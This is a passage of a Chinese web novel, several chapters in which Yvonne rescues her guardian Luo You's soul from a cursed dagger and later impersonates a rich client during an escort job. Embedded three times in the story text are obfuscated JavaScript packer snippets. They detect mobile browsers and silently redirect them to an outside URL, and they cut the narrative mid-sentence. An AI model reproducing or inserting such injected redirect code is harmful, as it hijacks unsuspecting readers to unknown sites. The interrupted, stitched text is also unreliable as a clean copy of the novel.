曾禾无法回答,只能发出漏气的呻吟。 以诺右手握住匕首,左手掐住曾禾的脖子,“咔”的一声,椅中猛地绽满血红玫瑰,座椅盛不下而有十数朵淌在椅下。 以诺从花堆中抽出匕首,玫瑰在动作中又落了更多在地上,待以诺转身离开,那些玫瑰又瞬间化成鲜红的液体,将椅子与地毯染上血色。 伊冯忍耐着浓郁的腥味,看了眼血泊中曾禾的终端手环,又看向以诺离去的背影:曾禾的同伙一定会发现她死了,就算要与研究塔的人清算,这不会太打草惊蛇吗? 她跟上以诺,很快发觉这是去那个窗台的路——她以前每次到主宅,以诺带她远离人群的地方。那里可以看到庭院的花,还有洛佑的画像。 伊冯深呼吸一口气,不再藏匿身形,落在地上,面庞变回她最熟悉的自己,走在这个房子里她最烂熟于心的路上。 走过最后一个拐角,以诺就坐在画像对面的椅子上,安静地凝望画中人。 以诺的神情如此平静,以至于伊冯没第一时间注意到那把匕首。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769961|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以诺此时正像几分钟之前的曾禾那样,被匕首钉在椅背上,只是毫无挣扎,安详得像准备入睡。 “你在做什么?!” 伊冯冲过去,却不敢碰匕首,她刚亲眼见到曾禾被这匕首刺中后有多痛苦,如果这能直接作用于灵魂,她的医术完全派不上用场。 以诺却望着她笑,抬手在她脸上划过,说:“最后还能有你的眼泪,我没有遗憾了。” 伊冯拍开沾着她泪水的手,怒道:“能说话就回答我!你在做什么!” “你在这个时候回来,一定已经知道你母亲的事了?”以诺从她的表情中得到确认,继续说,“我曾用这把匕首刺穿她的心脏——尽管那只是她模拟人类仿造出的,对她并不像人类那样重要且致命。我的背叛才是真的伤害她的。最可悲的是,我在背叛她后便懦弱地逃跑了。我借背叛她得到的东西在研究塔里争取到一席之地,只要不亲自去面对她,我就能继续欺骗自己背叛她是因为我别无选择。” 伊冯难以在这种情况下专注听故事:“要讲故事我之后听你从你出生讲起都行!这匕首要怎么拔出来?要怎么治疗?” 以诺看着她问:“这是你真实的情绪吗?为什么你要为我的死这么慌张?” 伊冯下意识想反驳,情绪却仿佛印证以诺的话,在整理言语的数秒中迅速冷却。 见伊冯愣住,以诺叹气道:“我以为我扮演的是个霸道、专制、不通人情的可恨父亲。我总是这样,什么都做不好。” 不被打断阻拦,以诺便继续说着:“那些背叛过她却依然留在那些世界的人,慢慢和她有了更多的故事,获得了宽恕。只有我,和她之间只剩背叛。我终于醒悟,我的逃避是多么可耻,可我还是羞于见她,无论做什么都不可能弥补我已经造成的伤害,我多希望一切能重来,再来一次,我绝不会为阿吉斯背叛那个带我真正活过的……” 最后几个字以诺说得很含糊,似乎自己也不知该如何定义。 以诺望着伊冯的眼睛,说:“你的母亲在前往不可知之地前,带着你来见我,托我找个可靠的人把你当普通人抚养长大。我不该把你留在身边,但既然她拜托了我……我便自作多情地将那解读为这是她给我的第二次机会,证明我绝不会再次背叛她。这次,我做得不错吧?” “……为什么,”伊冯问,“既然想好好抚养我,为什么要是‘可恨的父亲’?” 以诺说:“研究塔没放弃过‘开源计划’,一直在寻找类似‘源’的物质,年幼的你缺乏藏起本能的意识,我必须限制你的活动避免你被找到。无论有什么理由,你都该恨限制你自由的人——每当你表现出对我的亲近依赖,我都很害怕,我怕你会纵容我对你的限制,如果我让你甘于被困牢笼,对于你母亲和你,都无疑是最丑恶的背叛。” 所以当她初次出走被抓回后装乖,以诺用了那种激进的方式逼她再次出逃? 伊冯捧住以诺的脸,说:“让我看见你,真正的你。” 以诺顺从地闭上眼,伊冯感到手下的皮肤蠕动,骨头咔咔作响,几分钟后,她身后画像中的人鲜活地在她面前,被她捧着双颊。 伊冯看着这张通过画像和肖像照,早在她记忆中熟悉的脸,叫她的名字:“洛佑,终于见到你了。” 变形消耗了她很多体力,匕首造成的影响终于能被窥见,洛佑语气虚弱地回应伊冯:“你好。” 伊冯掏出刘念给她的药,给洛佑看:“这个,对你有用吗?” 洛佑瞥了一眼便收回视线:“像是你母亲的作品,不过我没见过这个。在我只顾逃避的时候,错过了她很多故事。” 伊冯想喂她一粒,但洛佑偏头避开,说:“不要在我身上浪费时间了。” 伊冯不逼她,收起药后一时无言。 洛佑突然咳了两声,匕首制造的疼痛慢慢令她难以忍耐。 伊冯皱眉看着她强装无事的样子,问:“为什么不用你自己的身份抚养我?这样也不必费心为我捏造一个生母和一段绯闻。” 洛佑自嘲地笑着摇头:“你要我谎称是你的母亲?让你叫我母亲?我是为赎罪做的这一切,怎么可以如此无耻。你的母亲只有她。很抱歉误导你罗莎蒙德是你母亲,只是在确认你有自保能力前,我不能告诉你真相……我也没有那个资格做第一个告诉你一切的人。” “我恨你软禁我,讨厌你说些谜语一样的话应付我,这是事实;你养育了我十六年,让我拥有现在的我引以为傲的知识,这些也是不为任何事动摇的事实。”伊冯蹲下,避开匕首小心地将自己塞入洛佑的怀抱,“谢谢你为我做的一切,母亲。” 伊冯抱着的人不住地颤抖,水珠砸在伊冯背上,顺着防水的布料滚落,洇湿地毯。 伊冯抬起头,轻声说:“母亲,告诉我,救你的方法。” 56.不许别 洛佑摇头:“不要这样叫我,你的母亲只有……” “我不能同时拥有两位母亲吗?”伊冯利用仰视的姿势,睁大眼睛显得无辜,“我某个朋友有两个母亲——她还得到过我那位生母的照料,在我看来,她有三个。而我甚至不能称呼我的抚养人为母亲?我不配吗?” “怎么会,你值得一切,但这不是一回事。”洛佑试图推开伊冯,“我已经做贼偷过她的能力,再偷走你‘母亲’的头衔,我永远都会是最卑劣的小偷。” 伊冯握住她的手,说:“称谓的事先放一边。不要转移话题,我要怎么从这把匕首下救你的命?” 洛佑已经没有力气抽出手,她叹息着忽又笑起来:“你确实已经长大了,真好。” 伊冯突然感到怀中发烫,她松开洛佑站起来,从衣服里摸出热源——是一片正在燃烧的玫瑰花瓣,应该是在花园着陆时滑入衣服中的。 她发现窗外的火光,庭院中的花田都点缀着比血色浅淡的火焰,绽放更热烈生动的火红。 “你压倒那些玫瑰时,我就知道你回来了。你甚至还为我送上眼泪和我从不敢奢望的称呼。”她满足地闭上眼,“早在背叛你的母亲时,‘洛佑’便死了,之后的不过是具不甘背负罪孽倒下的空壳。如今我做完我能做的一切,终于能与阿吉斯一同灭亡,这是我仅有的愿望,请让我离开吧。” 屋内温度在迅速升高,火焰已经包围了房子,隐约听到外面混乱的叫声。 如果洛佑自己不肯活下来,她又能做什么? 伊冯问:“你早就为自己设计好了如何死去,是吗?抚养我的这些年,你一直在等我离开,然后实现这一切?死在用玫瑰点燃的火焰中,很美很浪漫的场景,是吗?” 洛佑的睫毛颤抖着,仍紧闭眼睛,不回答她的问题。 就算揭开真相,从“以诺”到“洛佑”,从“父亲”到“母亲”,她们的关系也没有得到实质性的变化,作为女儿的她仍被强加对方的意愿,只有同意或顺从。 洛佑想的没错,自己确实不会为她的死惊慌失措。 伊冯握住匕首,不适感像黏菌沿着把手迅速网住手臂,她忍耐着把匕首抓得更紧,将自己的意识凝成一张膜反向推过去,包住匕首,沿着创口边缘流入洛佑体内。 洛佑抖了一下,睁开眼不可置信地看着伊冯:“你在做什么?” 伊冯仰起嘴角,终于是她从对方口中听到这句话了? 她不解释,缓慢地将匕首向外抽,随着献血一同淌出的还有洛佑的灵魂——被伊冯用意识张开的薄膜紧密包裹着。 洛佑抓住伊冯的手,哀求道:“不要这样对我……让我活下去只是在延长我的痛苦。研究塔的人很快会来这里查看情况,快走,不要在我这里浪费时间。” 她没有很多力气能用来制止伊冯了,即使紧握着伊冯的手,也阻碍不了任何动作。 “你作为‘洛佑’活过多久?”伊冯说,“你把你的人生用背叛源的时刻分成两半,前半是为了获得认可的‘阿吉斯’,后半是为了赎罪的‘以诺’。你根本没活过,却说要死?” 她抬眼,不知何时变成空洞的眼眶中有旋转的漆黑星群。她直视洛佑颤动的眼睛,说:“如果你作为自己活过还是只求一死,我不会拦你。” 在洛佑沉默的时间里,伊冯拔出了整把匕首,以及被匕首切断、搅碎的的灵魂碎片,还有尚有形状的大团灵魂。在此刻的她看来,洛佑的灵魂是银灰色的,比她的发色要暗淡,或许是因为因为里面参杂了些不和谐的灰黑和鲜红。 她和洛佑的灵魂互相触碰时有股奇怪的感觉,按刘念的说法,灵魂处在暴露状态会很危险,这么被她碰应该对她们彼此不好。 伊冯抓着还插在洛佑灵魂上的匕首辅助固定位置,再用自己的意识隔开一厘米包住她的灵魂。至于那些碎片……都已经碎掉了,就算会有些损坏也没办法了,只能让它们躺在她意识包出的薄球底部。 伊冯环抱住打包好的灵魂,洛佑的灵魂比她的小很多,她都能把打包好的这份灵魂揣进上衣里。这是人类灵魂的正常大小吗? 把灵魂球塞进上衣后,她看起来像是怀胎十月。她对自己的身份定位是“女儿”,但如果洛佑成为她的女儿,这事还挺有趣的——好吧,她单纯只是想捉弄洛佑。 火势已经蔓延到屋内,她必须得走了。 伊冯转头看着洛佑失去灵魂没有生机的身体,她还睁着眼睛,神情被定格在挣扎迷茫的瞬间。这说明她还在犹豫,自己没有做错,对吧? 伊冯将洛佑被汗水黏在额头上的发丝拨开,合上她的双眼。火焰已经将墙上的画像化为灰烬,围着座椅舔舐洛佑的身体。 至少你的身体会如你所愿葬送于这场火中。 她转身离开,以花引火的烈焰燃起殷红的浓烟,视野被各种红色占据。 前方突然出现黑色,黑雾在她面前涌现,再汇聚凝成一线。竖线向两边膨胀,张开一个漆黑的洞口。 刘念的脸在洞中浮现,不必多说,伊冯迅速钻入洞中。 洞口在她身后闭合,隔断了火海的高温。 刘念看着伊冯怀里护住的灵魂,说:“这里更适合灵魂静养,把她放出来吧。” 伊冯解开上衣放出灵魂球,想收回自己的部分,刘念说这可以作为修补灵魂的材料,于是只把球打开交给刘念。她一开始就打算找刘念帮忙,毕竟刘念有被养育灵魂的经验,一定有很多对付受伤灵魂的方式。 刘念的双手化成一片黑雾缠住匕首,触及匕首的部分又凝为粘稠的黑油般的黑色物质,匕首被她化出的物质融化,刀身化开后又有星星点点的灵魂碎片散落。 刘念整个人都在发生极大的变化,她的脸,她的头,全身都成了漆黑的浓雾,浓雾飘散出一片包裹住了所有的散碎灵魂,再将它们贴着被匕首从中切开的灵魂本体上。 洛佑银灰色的灵魂连同伊冯分出去的一片,全被黑雾完全裹住,悬浮飘荡在阴冷的空间中。 刘念又慢慢变回人样,从衣袖中抽出一条黑线系在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773247|172270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑雾球上,她示意伊冯伸出手,将黑线另一端绑在伊冯手腕上,再将线从中间扯断。接着,她从伊冯手腕的黑线上掐下一段多余的,绑在自己的小指上。 伊冯问:“这是什么仪式?” 刘念说:“我虽然提前圈起一块区域,但留下标记将来更好找回她,如果有什么情况,我们能通过标记感应到。” 伊冯又问:“还要做什么?” 刘念说:“她伤得不重,吸收了我们分出的碎片后就能自行修补好,她不是外行,懂得怎么做。那把匕首虽然克她,但有你的力量在,影响会最大程度地减弱。只是,适合她的身体大概不好找。” 伊冯眼神游移,她是有想过把洛佑整个人一起带走,就算她扛着人不好走,也能让刘念帮忙,但当时她太想试试自己能不能把洛佑的灵魂抽出来了。再说,洛佑自己是“和阿吉斯有关的东西都毁掉”的态度,又有个葬身花与火海中的浪漫主义死亡构想,或许用肉身完成这两点能让洛佑减轻几分自我毁灭的倾向? “灵魂飘荡太久是不是不太好?”伊冯问。 刘念说:“是的,灵魂状态缺少感官刺激,长期处于脱离身体的状态,会慢慢认知混乱,严重的会导致灵魂飘散消失。虽然我觉得她的灵魂没那么弱——但她有求死倾向,还是尽早让她拥有实体更保险。” 伊冯问:“不能用机械身体?” “像你给黄琳做的那样?不行。”刘念说,“你最少也保留了黄琳的大脑,洛佑什么都没有。而且,她的身体不能算是人类的身体了。” 伊冯:“……我猜又是我那位神奇母亲的杰作?” 刘念说:“我们已经亲眼看过她是如何被转化的——虽然那只是注入洛佑意识的人造人,但当她的意识回归本体,她的身体也出现了同样的变化。洛佑是最早被转化的人,突破人类肉身的限制,获得了掌控血液的能力,可以自由更替体内老化细胞,以此长生。那之后,研究塔虽然有用洛佑的血样试图复制同样的奇迹,但最终只是造出许多患上渴血症的残次品。你也看到,她的灵魂有不寻常的颜色,你的母亲肯定也让她的灵魂发生了某种变化,才让她与仿造间产生差距。” 伊冯问:“普通人的灵魂是什么颜色?” 刘念说:“普通人的灵魂脱离肉/体后还能不消散的万中一二,大多混浊,体积未有一拳之大。容纳洛佑灵魂的身体若强度不够,会被她撑坏。” “基础要求是达到不会被灵魂损坏的强度,吗。”伊冯望着像气球一样飘远的黑雾球,:“以你知道的,我继承了源多少?” 刘念说:“理论上来说,你能做到她能做的一切。” “也就是说我做得到。”伊冯扬起自信的笑,“我会给洛佑做一个更好的身体。” 刘念也望着她笑,轻轻点头。 伊冯问:“你这反应,算剧透吗?” 刘念说:“我没有看这段未来。我之前看过的未来里,洛佑都用那把匕首成功自尽,死在火中。所以,我只是觉得你做得到。” 57.不负今 伊冯这时才深刻意识到刘念看到的“一切”里包含了无数生死。 她看向还飘在上方的黑雾球:“在做出合适的身体前,只能先让洛佑在这修养了。我们先回旄经吧。” 刘念点点头,二人变为在追龙伪装的样貌再离开世界的间隙。 黑雾在旄经星空港无人注意的角落流出,空间缝隙在伊冯和刘念走出后自行合拢。 刘念忽然说:“那个药……给我一个。” 伊冯倒了一粒给她:“你变形为什么这么耗体力——刚才从黑雾变回人形时为什么不直接变成男体?” 刘念闭目等待体力恢复,回答说:“我以为没那么快回追龙。” 虽然人类的外形对于刘念都是伪装,但她的自我认知是女性,使用只是为掩人耳目捏造捏造的男性外貌她自己也觉得厌烦吧。 伊冯问:“你是不是被洛佑刺激到了?” 刘念睁眼看她:“啊?” 伊冯问:“你打算什么时候不再用这个外貌?” 刘念说:“……离开追龙后?在别人组织内部换身份,太高调了。” 伊冯问:“你老师是为什么被通缉?” 解决这个问题,刘念的那张脸能随意用了吧。 刘念说:“五十年前,为了终止‘开源计划’,我的老师和我的母亲她们,联手袭击了研究塔,杀死了大部分参与人员。那些人死后,琉她们便不想在纠缠在这些事里,开启新的生活;但包括我老师在内的另一些人,则耿耿于怀还有少部分人逃走,研究塔掌握了破坏世界规则平衡令世界崩塌的技术,若是大张旗鼓紧追不放鱼死网破的代价太大,没能一击全歼,就只能另寻时机。为了引出那些藏起来的人,我的老师她们也韬光养晦,甚至主动认下些罪名被关入星际监狱,让自己处于研究塔的监视下,想以此让她们放松警惕。” “虽然我是有奇怪过你们为什么顾忌研究塔……”伊冯摸着下巴说,“研究塔把别的世界当筹码,也是赌你们会在意。那些人应该有部分和曾禾一样,躲入了别的世界,源关闭世界间的通道后,她们也被困在那些世界里。这样一来,她们应该就不会随意引爆世界了?” 刘念摇头:“那些研究员之间并没有什么深厚的情谊。除了自己的研究,她们什么都不在乎。” “所以洛佑会直接杀了曾禾,不担心打草惊蛇引发连锁反应?”伊冯低头想了会儿,她相信洛佑不会不在乎那么多世界无辜生灵的生死,“因为那些研究员只在乎自己,所以,如果能找出藏匿的研究员,进行针对性的袭击,别的研究员不会为别人用掉手里的保命筹码?” 刘念点头:“而且,从‘开源计划’立项以来,就是分为许多研究组各自进行,研究的过程和成果只掌握在少数人手中,那些藏起来的,每人至多能影响一个世界。但每个世界对于世界的果园都是珍贵的,能少被破坏一个都好。” 虽然琉说她不用在意研究塔的事,但她已经知道了这么多事,没法当作与己无关抛之脑后啊——起码得把那些拿着引爆器躲在暗处的人揪出来。 伊冯问:“那个用蓝金做炸弹的,是怎么回事?” 刘念说:“其实我还没和她正式接触过……简单来说,她很崇敬你母亲,因为研究塔对你母亲做的事,她迁怒了全人类。” 伊冯眉头一抽:“这么过激?” 刘念说:“所以我们都叫她小疯子——她还挺喜欢这头衔。” 伊冯说:“你们不觉得,比起研究塔,这个‘小疯子’的行为更需要被管制吗?” 对方已经做出实质性的恐怖袭击行为了啊。 刘念说:“直到看到那些蓝金前,我没想到她真的会做出波及无辜的攻击行为……我看到的可能性里,她虽然手段血腥,但都师出有名。可能,她的这类行为都像那次,被我们提前制止了吧。” 伊冯问:“我们总不能满宇宙去找她在哪丢炸弹布陷阱吧?你有方法找到她吗?” 刘念点点头,并说:“她是‘怪物’的现任首领,我知道她的基地位置。” 伊冯说:“别告诉我追龙也是我母亲的哪位故交的。” 刘念回忆了一下,说:“如果是,我也不必那么迂回地进去找你了。不过创始人似乎与她有几分渊源。” “够了。”伊冯抬手让她别去记忆里翻了,“暂时就这样,我的好奇心快撑死了,先归队吧。” 伊冯翻阅着各板块的新闻,竟然没找到一篇关于阿吉斯主宅大火的消息。 她预想得到“以诺”葬身火海的事会被限制传播,但更该被以罗贝尔为首的几家故意捅出,阿吉斯家主身亡引发的动荡会让她们捞到好处。 对了,“以诺”还带了一个研究塔的人进阿吉斯。难道是研究塔主导限制报道?那场突然的、无法熄灭的大火,确实容易让人联想到是不是研究塔的某个发明出了岔子。 这样也好,她们现在正在阿吉斯的旄经星上活动,要是家主的死讯传出,这里的混乱也会牵连追龙。 两天休息日很快过去,领队召集她们开始下一项任务。 新任务的委托方就在旄经星上,正是来自阿吉斯分家。 任务内容为护送阿吉斯分家的某位往返于旄经星和斯忒波星,保障其行程期间的安全。 旄经星城区白天也禁止高空驾驶,前往阿吉斯宅邸的几辆飞车贴着地面慢行。 伊冯看着窗外的街景,心中有些感慨。阿吉斯的这些资产她以前在报告文件中见过,对于她只是没有意义的地名和数字,如今总算亲眼见到其中的一部分。 单看眼前繁华的商业街,或许会觉得阿吉斯十分富饶,但放在全西盟的大家族财报上,阿吉斯的营收不过在中流位置。若是将东盟那群擅长捞金的也加入对比,阿吉斯的资产更不算什么。自从她出走,阿吉斯在她眼中便日渐渺小。 飞车驶入阿吉斯宅邸,伊冯下车环顾四周,真华丽啊。光是客用停车场,就能看到许多中看不中用的易损耗高价建材。元星上各家与星盟互相提防,为了不落人口实,宅子建造规模和样式都差不多。在只属于自家的星球上,建得夸张些也能理解,吧。 但伊冯实在看那些用错地方的材料心疼,那个做灯柱的钢材多合适做人造骨啊;那些地灯用的不会是振晶粒子吧?…… 追龙小队被自动走道送到会客厅时,伊冯已经面无表情地在心里列了一长串清单。这些暴殄天物的白痴,非要用最不合适的方式使用它们吗? 到会客厅大门,伊冯心中翻过一页,写入新的物品名。设计者真是浪费的天才。 她站在队伍末端,默默记账,心不在焉。回神的时候,领队已经跟阿吉斯的对接人结束寒暄,准备出发了。 “利比逖,”领队突然叫她,“你和刘念一起贴身保护雇主。” 伊冯点头,她会医,被指派近身保护目标不奇怪——或许也有她和刘念之前在领队面前高调地打了太久的缘故,让领队又把麻烦的活计安排给她俩。 于是她和刘念被管家带着去主楼接人。 走进大厅,刘念听见伊冯的呼吸突然变重,看了她一眼,伊冯悄悄摆手让对方别在意。 只是被没上限的糟蹋行为吓到罢了——怎么不干脆用蓝金铺地? “以诺”成为家主后,大部分精力都投注在研究塔内,族内产业放手给分家的管理。她无聊时会去翻看财务报表,分家管理的部分总是不见起色,现在看来是分家仗着主家不上心,私吞不菲啊。 如果是之前,伊冯只会抱着看戏的心态等着看“以诺”头疼,但在知道那么多过往后,她已经明白洛佑的目的:她一直在有意将阿吉斯导向衰亡。 坐在大厅中央沙发的年轻男人一身要登台表演般的华丽礼服,做作地举起镶满宝石的古董望远镜打量伊冯二人。 马克·阿吉斯说:“追龙就没有看着更可靠的人能用了?我出的佣金可不少,可别随便支使两个跑腿的在我身边混啊。” 伊冯想揍他。 虽然她已知道自己不是人类,她和洛佑也都丢掉了“阿吉斯”,但毕竟姓了十几年“阿吉斯”,不免生出“凭他也配”的念头。这蠢货看着更应该姓罗贝尔。 追龙的两个人听他说话眉头都不动一下,也不试图说点什么说服他相信自己的实力,好像完全不担心雇主不满退货。马克放下望远镜,他这下真的对她们不满了。 马克向管家说:“让追龙换两个不哑巴的来,我要的是贴身保镖,不是两尊石像。” 伊冯看了眼时间,说:“该出发了,请移步。” 马克怒道:“我是雇主,什么时候出发我说了算!” 伊冯无所谓地闭嘴。 马克恨恨地命令管家立刻联络她们的领队换人,还是领队擅长打圆场,在通讯里捧了马克几句,再夸伊冯她们技术过硬,虽然不懂寒暄,但足够好用,让马克消了气“大度地给她们表现的机会”。 经过毫无必要的曲折后,她们总算坐上向空港出发的飞车。 阿吉斯的车在旄经不受交通规则制约,大剌剌地飞上高空以最高速冲向空港。 分明已经因为继承人问题而担心被刺杀,特意委托佣兵团来保护,还如此高调——伊冯都能想出几个简单方法让这些飞车“意外”车毁人亡。而且身为阿吉斯的分家,对于主家近日的异常毫无察觉,如此无能,恐怕要不了多久阿吉斯就会被另几家联合分食干净。 无奈现在她有任务在身,只能打起精神警戒。 安全到达空港,印有阿吉斯家徽的巨大飞船占据出港口中央位置,为了确保星球主人出行畅通无阻,相近时间出发的起航申请都不被允许,上空一片澄净,只待阿吉斯的飞船驶入其中。 伊冯平静地挂上令刘念侧目的微笑。 车队径直飞入飞船内部停车场,众人下车,追龙只负责马克本人的安全,别的部分是阿吉斯自家侍卫的责任,因而她们下车后直接护送马克去他在飞船上的房间。 马克的房间是飞船上最大的套间,内配泳池、酒吧、游戏间等等,要确保他的安全,整支小队守在他的房内也不为过。 马克却嫌人太多太拥挤,除了两个贴身保护的,都别在他眼前晃悠。 领队带人检查了套间各处没有问题后,简单交代伊冯二人几句,便让其余人守到外间,她再带几个去飞船各处巡视检查以防万一。 马克进了房间后,飞船便起飞,升至一定高度后启动跳跃器跳转至斯忒波星附近。 以行程耗时和人员配置来说,完全用不到这种规格的大型飞船。从马克作为分家少爷在船上的房间来看,这艘船是他私人专属,不难想象作为分家主人的戈登又会有艘怎样奢侈的飞船。 尽管行程短暂,马克还是要进浴室淋浴换身舒适的衣服,等到目的地再换上另一身华丽的高级定制礼服。 听着浴室内传出的水声,伊冯打量着无处不华贵的房间装潢,说:“真是会享受啊。” 刘念问:“你想做什么?” 伊冯说:“这都被你看出来了?” 刘念说:“你会没事这么笑吗?” 伊冯闻言更笑得灿烂,走进衣帽间。 马克穿着浴衣出来,见人少了一个,问刘念人哪去了。 刘念面无表情地说:“保险起见,她再去检查一遍房间里有没有监控设备。” 马克勉强接受了这个解释,去衣帽间换衣服。 五分钟后,马克穿着一身缀满宝石的黄色礼服出来,向刘念展示自己的装扮说:“如何?” 刘念问:“你是怎么忍受自己变成这副样子的?” “马克”得意地捋着头发说:“我自己又不用一直对着这张脸。” 刘念只能问:“要怎么处理他?” “你先帮我把他搬出来。”伊冯搬得动,只是看不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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斯忒波的天然地貌崎岖险峻,适合居住的面积很小,最平坦的一块却建了空港,常住人口是全星盟最少的。这样的一颗星球,交通流量还能撑起一个空港,自然是有宜居之外的长处填补。 遍布悬崖峭壁的地貌,让这里成了极限赛车手钟爱的挑战台,全星盟最出名的五年一度越野车赛也在这里举行。 空港到观赛点有点距离,而在斯忒波有着“使用星内跳跃就是怂货”的默认观念,因而所有出港的都驾驶飞车穿过复杂的天然障碍物前往目的地。 伊冯怀疑马克是不是嫌自己活得太轻松,担心被暗杀,还净做些方便被弄死的事。斯忒波星是星盟交通事故最高发的地区,就连他今天要看的越野车赛,每届都有选手在赛中出事故不说,观众被波及也不是罕见的事。 她打开驾驶位与后座的隔音板,问刘念:“罗贝尔现在的家主那么蠢,是不是也有琉的功劳?” 刘念说:“当年被家族当牺牲品交给研究塔的,后来几乎都反过来掌控了家族。琉控制了罗贝尔后,便开始了‘清洗’,如她一样对罗贝尔没什么感情的,另安排了新身份送她们去别的区域重新开始;再杀了有才能又‘忠诚’的,留下庸才慢慢拖垮罗贝尔。 伊冯看着窗外景色沉吟不语。 刘念看了她一会儿,说:“我有点理解你为什么看不惯我这张脸了。” 伊冯来了精神:“这张脸很欠揍对吧?等任务结束帮我一起打他一顿?” 刘念说:“你一个就够打死他了,加上我是为了防止他复活?” 伊冯张大眼睛:“……你居然会开玩笑哦。” 刘念不忍直视地转开头:“别用这张脸装无辜,我可能现在就会忍不住揍这张脸。” 伊冯大笑着,毫不收敛地继续挑衅刘念。 因为路况复杂而加倍专注的司机发现车体莫名颠簸,探测器又未监测到剧烈气流等影响因素,连忙开车内通讯询问马克的状况,同时发讯给同行车辆共同警戒。 在后座打起来的二人赶忙停手,各自找借口应付阿吉斯和追龙的人。 总算是有惊无险地到达赛场观赛点,伊冯刚下车,就有一个穿着赛场管理员服装的人谄媚地笑着迎上来,毫无停顿地往外冒奉承话,将她们一行人引到马克预定的贵宾观赛包厢内。 看过分家的铺张后,一个观赛包厢装潢再精致华丽现在看起来也觉得普通。 学着马克之前把人赶到外间的说辞,除了刘念,连同阿吉斯的佣人和举办方的服务生,所有人都被伊冯支了出去。 伊冯坐进柔软的沙发里,捏起果盘里的一粒浆果丢进嘴里,说:“比起组织这种浪费生命的比赛,如果把这些钱投给民间研究所,或许也不至于被研究塔一家独大了吧。” 刘念说:“每个人看待生命的角度不同吧,确实存在甘愿为一场精彩的胜负付出生命的人。而且,不说奖金,这类比赛的赌盘都开得很大,组织者、参赛和观赛的,大多只是为利。研究塔在民众眼里,只是便利科技的背景板。” 伊冯看刘念站在沙发后,还在扮演尽职尽责的保镖,催她别傻站着,一起坐下。 刘念坐在她身边,从伊冯端到面前的果盘里抓了一把果子,盛在掌心里慢吞吞地吃。 包厢不仅有视野极好的观景窗,还装了数面多角度直播屏,可以将各赛段的赛况看得一清二楚。如果有在意的选手,还可以选定视角全程追踪。 专业的赛车手操作确实极具观赏性,为了比赛而改装的各式飞车外观奇特又吸睛,在危险的狭窄的峡谷、乱石间穿梭。几乎要撞上障碍、仿佛车毁人亡已成定局的瞬间,又奇迹般转向通过;单人似乎都难通过的缝隙,居然也能找到角度穿过,成功抄近路反超对手…… 伊冯看出了趣味,有些理解刘念说的那种人。她以为自己的驾驶技术已经够好,但这些操作她也说不清自己要练多久才能做到——她一般不会让自己陷入需要这些极限操作的境地。 “只要往前走,永远有未知新鲜的体验。”伊冯浅笑,“刘念,我不会再用时间轴去过去了。” 刘念看她,问:“为什么?” 伊冯说:“过去的那些问题,不是我的问题。只有在属于我的时间里,才能发现属于我的问题,我的答案。” 58.相交线 马克迷糊地睁开眼,已经躺在自己卧室的床上,对于行程的记忆模糊,而且浑身酸痛,叫来医生检查却没发现问题。 马克找追龙的人问责,追龙那边则觉得莫名其妙,她们完成了合约中确保雇主行程来回安全的要求,劝告他不要以没有依据的揣测恶意中伤。 参与马克护卫任务的追龙都和伊冯一起骂马克事多,虽然傲慢的雇主不少,但这种当面没说什么,事后突然联络找茬的真是头一遭。 “说起来,本来也是他在阿吉斯重选继承人后就一直太嚣张,才要担心安全问题吧?他要不是雇主,我都想打他。” “他还限制利比逖的行动,连‘继承人’的身份都还没落实呢,最后要是没选他就好看了。” “哈哈哈哈这种走向才有意思,阿吉斯不至于一个比那草包更好的人都找不出吧?” “谁知道呢?那些大家族不都是在吃老本?都是些酒囊饭袋。” 伊冯憋着笑应和,跟她们一起乱骂。 外勤小队的飞船直接落入追龙基地的停机场,伊冯与共同骂雇主而加深了感情的队友们告别。刘念一下船就自己走了,想知道她去干什么之后能问,伊冯先去研究楼找安琪儿。 R每天照常发讯息和她说一天的行程,经历的人和事多了,终于也觉得之前流水账的表达方式太啰嗦,学会精简语言长话短说。她正好和伊冯回基地的时间错过,刚出发去做新任务。安琪儿则一直没有消息,伊冯没见到本人不好判断她目前的状态,便放置等回基地再处理。 现在正是研究室的工作时间,伊冯在门外一眼看到了安琪儿。比她离开前多了些肉,气色也红润了不少。 那些伊冯在时和安琪儿针锋相对的同室研究员,现在也都神态亲善地与她交流,互相没有距离感地对别人的实验器材动手,再玩闹着把乱动的人打走。 伊冯在窗外看了会儿,发现和安琪儿最亲近的是个生面孔。柯查尔又挖了新人来? 她盯了那么久,里面的人总算发现外面有个闲人。 安琪儿有些尴尬地躲避伊冯的目光,慌乱地把手上的东西放好,想装无事自然地走出来,结果差点左脚绊右脚,浑身僵硬地挪到伊冯面前,低着头小声唤了声“老师”。 伊冯掏出一个巴掌大的盒子给她:“虽然去了不少地方,但只在旄经有空买礼物,我另外塞了点做任务的时候收集的零碎凑数。” 安琪儿鼻子一抽,又让伊冯听见了哭腔。 伊冯想从口袋里找纸巾,手腕突然一紧——洛佑的灵魂怎么了? 伊冯拉着她的手抓住盒子,说:“里面装了两份,黄琳的你帮我给她,我一会儿就走。” 安琪儿反抓住伊冯的手,被眼泪鼻涕糊了满脸也顾不上,抬起头急道:“回基地的不都有几天假吗?怎么今天又要走?” 